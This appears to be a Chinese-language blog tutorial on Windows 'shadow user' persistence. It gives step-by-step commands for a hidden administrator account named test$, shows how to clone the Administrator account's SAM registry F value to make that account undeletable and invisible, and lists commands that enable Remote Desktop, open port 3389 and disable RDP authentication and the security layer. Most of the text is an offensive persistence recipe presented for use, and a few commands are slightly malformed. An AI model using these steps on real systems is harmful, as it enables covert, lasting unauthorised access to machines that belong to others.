前言
影子用户相信大家都是比较熟悉,是一种权限维持的好方法。
注:单机和域环境都可以使用,但是域中可能没有那么好用。
复现
一.本地
1. 正常的影子用户
我们在cmd命令中在生成用户时,在用户名后面加上$就可以
net user test$ 123456 /add
net localgroup administrators test$ /add
这时候我们可以看到net user是看不到他的,但是在用户那里可以看到它也可以正常删除它。
2.工具版
隐藏用户工具
这里我们讲工具上传上去
这里我们再次看到用户那里,虽然还是可以看到test$用户,但是发现删不了它了。
这里看到他的属性,怀疑是因为没有组的原因,但是我重新生成隐藏用户,且删除了他的组,但是发现还是没有这个效果,这里看看中途的一些翻译。
这里我们可以看到是进行了一些注册表的操作,然后去找一些文章分析一下。
当然现在不意味不能删除这个用户了,我们可以通过注册表删除。
当然有的人发现SAM那里没东西了,那是你没权限,你说你administrator没权限,是的,还真的没有,需要你自己右键属性给自己加上,然后重新打开注册表
3.手工升级puls版
之后看到这个文章 隐藏用户(影子用户)的创建与利用进行权限维持 就顿悟了,这里我们复现一下。
第一步还是新建一个影子用户,并把它加入管理员组中
然后来到注册表看到0xf14就是对应Administrator用户,这个通常是固定的,我们将他F的值复制出来
然后这里看到test$对应的是0x3f5,我们000001F4中F的值,复制到000003F5中的F中
然后我们讲test$和000003F5导出
然后使用cmd(管理员权限),将test$影子用户删除,然后再将两个导出的注册表文件导入
这时候我们发现,擦用户这里没有test$用户了,但是他还是存在的,可以看注册表中发现用户还是存在的,真的贱,我好喜欢
然后这里我发现,我并没有出现远程登录不上的问题,有这个问题的可以参考上面那篇文章。
然后这里我们肯定要知道一下打开远程桌面的操作。
//使用wmic来开启远程桌面
wmic RDTOGGLE WHERE Servername='%COMPUTERNAME%' call SetAllowTSConnections 1
//修改注册表开启远程桌面
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f
//设置防火墙允许远程桌面登录
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
//关闭鉴权模式,就是输入的账号和密码是否正确都可以登录
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" v UserAuthentication t REG_DWORD /d 0
//关闭securitylayer安全层验证,配合上面的
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0